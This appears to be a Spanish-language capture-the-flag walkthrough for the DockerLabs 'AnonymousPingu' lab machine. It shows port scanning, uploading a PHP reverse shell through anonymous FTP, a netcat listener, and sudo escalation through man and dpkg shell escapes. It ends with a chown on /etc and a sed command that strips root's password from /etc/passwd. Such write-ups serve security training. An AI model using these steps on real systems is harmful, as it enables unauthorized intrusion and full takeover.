> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/anonymouspingu.md).

# AnonymousPingu

### **Despliegue de la Máquina:**

#### **1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **AnonymousPingu** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **2. Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `anonymouspingu.zip`:

```bash
7z x anonymouspingu.zip
```

<figure><img src="/files/awxrw2FJLqgwFzGAFeeI" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `anonymouspingu.tar`:

```bash
bash auto_deploy.sh anonymouspingu.tar
```

<figure><img src="/files/fy9mzy2Mh0GNAzZHtlcg" alt=""><figcaption></figcaption></figure>

***

### **Reconocimiento:**

#### **1. Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/Gyq4IYFUMp6bLGXBkEM9" alt=""><figcaption></figcaption></figure>

#### **2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`.

**Resultados del escaneo:**

* **Puerto 21:** `FTP`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/ussimZynyt64fNEJn3RZ" alt=""><figcaption></figcaption></figure>

#### **3. Escaneo Detallado:**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p21,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p21,80`: Especifica los puertos a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 21:** `vsftpd 3.0.5` con acceso habilitado para el usuario `anonymous`. Observamos varios directorios y archivos disponibles, incluyendo uno llamado `upload`, en el cual tenemos permisos de escritura.
* **Puerto 80:** `Apache httpd 2.4.58` con una página titulada "Mantenimiento".

<figure><img src="/files/swMAi9SZqdJj1tzxAkkh" alt=""><figcaption></figcaption></figure>

#### **4. Análisis del Servicio Web:**

Accedemos al servicio web mediante `http://172.17.0.2/` y observamos una página de mantenimiento.

Al explorar las secciones del menú superior, identificamos que corresponden a los archivos alojados en el servicio FTP.

Esto sugiere que las modificaciones realizadas vía FTP se reflejarán directamente en el sitio web.

<figure><img src="/files/GHe4y7Fhl6Wa5knziV1F" alt=""><figcaption></figcaption></figure>

Al acceder al directorio `upload` (`http://172.17.0.2/upload/`) confirmamos su existencia.

<figure><img src="/files/rkP56EmW62tt65mNcnx7" alt=""><figcaption></figcaption></figure>

***

### **Explotación:**

#### **1. Preparación de Reverse Shell:**

Utilizamos [RevShells](https://www.revshells.com/) para generar una reverse shell en PHP.

Copiamos el código y lo guardamos en un archivo denominado `ReverseShell.php`.

<figure><img src="/files/Vd2ozC3tJjU8bE2L9ztb" alt=""><figcaption></figcaption></figure>

#### **2. Conexión FTP y Subida de Archivo:**

Nos conectamos al servicio FTP utilizando el usuario `anonymous`:

```bash
ftp anonymous@172.17.0.2
```

<figure><img src="/files/nGAf68IO6WwZEWL4BAJf" alt=""><figcaption></figcaption></figure>

Subimos el archivo `ReverseShell.php` al directorio `upload`:

```bash
put ReverseShell.php
```

<figure><img src="/files/xw21oFA3BJxiKhNC4u2J" alt=""><figcaption></figcaption></figure>

Verificamos mediante el navegador que el archivo se ha subido correctamente accediendo a `http://172.17.0.2/upload/`.

<figure><img src="/files/k8COJZNyrGlJNsVxUIEb" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución de Reverse Shell:**

Nos ponemos en escucha en el puerto `1234` para recibir la conexión:

```bash
nc -nvlp 1234
```

<figure><img src="/files/dCGIt5MTBS7el5TJwiHf" alt=""><figcaption></figcaption></figure>

Ejecutamos la reverse shell accediendo a `http://172.17.0.2/upload/ReverseShell.php` mediante el navegador.

Observamos que la página queda en estado de carga, pero recibimos la shell en nuestra terminal como el usuario `www-data`.

<figure><img src="/files/zJSmUoOc9xO1l4yYPCjZ" alt=""><figcaption></figcaption></figure>

***

### **Escalada de Privilegios:**

#### **1. Análisis de Privilegios de www-data:**

Ejecutamos `sudo -l` para listar los privilegios disponibles.

Descubrimos que podemos ejecutar `/usr/bin/man` como el usuario `pingu` sin proporcionar contraseña:

```bash
(pingu) NOPASSWD: /usr/bin/man
```

<figure><img src="/files/0ZYTlsU8jUguda6zoEgV" alt=""><figcaption></figcaption></figure>

#### **2. Escalada a Usuario pingu:**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/man/) para identificar cómo explotar `man`:

```bash
sudo -u pingu man man
```

Dentro de la interfaz de `man`, ejecutamos:

```bash
!/bin/bash
```

Obtenemos una shell como el usuario `pingu`.

<figure><img src="/files/TSqT6gDYyqCaRDyFAu9v" alt=""><figcaption></figcaption></figure>

#### **3. Análisis de Privilegios de pingu:**

Listamos nuevamente los privilegios con `sudo -l`.

Identificamos que podemos ejecutar `/usr/bin/dpkg` como el usuario `gladys` sin proporcionar contraseña:

```bash
(gladys) NOPASSWD: /usr/bin/dpkg
```

<figure><img src="/files/fkVmnI09TsMYp9mMeuss" alt=""><figcaption></figcaption></figure>

#### **4. Escalada a Usuario gladys:**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/dpkg/) para explotar `dpkg`:

```bash
sudo -u gladys dpkg -l
```

Dentro de la interfaz, ejecutamos:

```bash
!/bin/bash
```

Obtenemos una shell como el usuario `gladys`.

<figure><img src="/files/u4OBLshwu9iVNMMJWmol" alt=""><figcaption></figcaption></figure>

#### **5. Análisis de Privilegios de gladys:**

Ejecutamos `sudo -l` nuevamente.

Descubrimos que podemos ejecutar `/usr/bin/chown` como `root` sin proporcionar contraseña:

```bash
(root) NOPASSWD: /usr/bin/chown
```

<figure><img src="/files/jYwegt0aoMrSUf80Piu9" alt=""><figcaption></figcaption></figure>

#### **6. Escalada a Root:**

Modificamos los permisos del directorio `/etc` para tomar control como el usuario `gladys`:

```bash
sudo /usr/bin/chown gladys:gladys /etc
```

Editamos el archivo `/etc/passwd` para eliminar la contraseña del usuario `root`:

```bash
/usr/bin/sed -i 's/root:x:/root::/g' /etc/passwd
```

<figure><img src="/files/tq53FRd0zpG3exgtfizh" alt=""><figcaption></figcaption></figure>

Finalmente, accedemos como `root` sin necesidad de contraseña:

```bash
su root
```

<figure><img src="/files/2oBgjGmHDYWy2qYJtKzb" alt=""><figcaption></figcaption></figure>
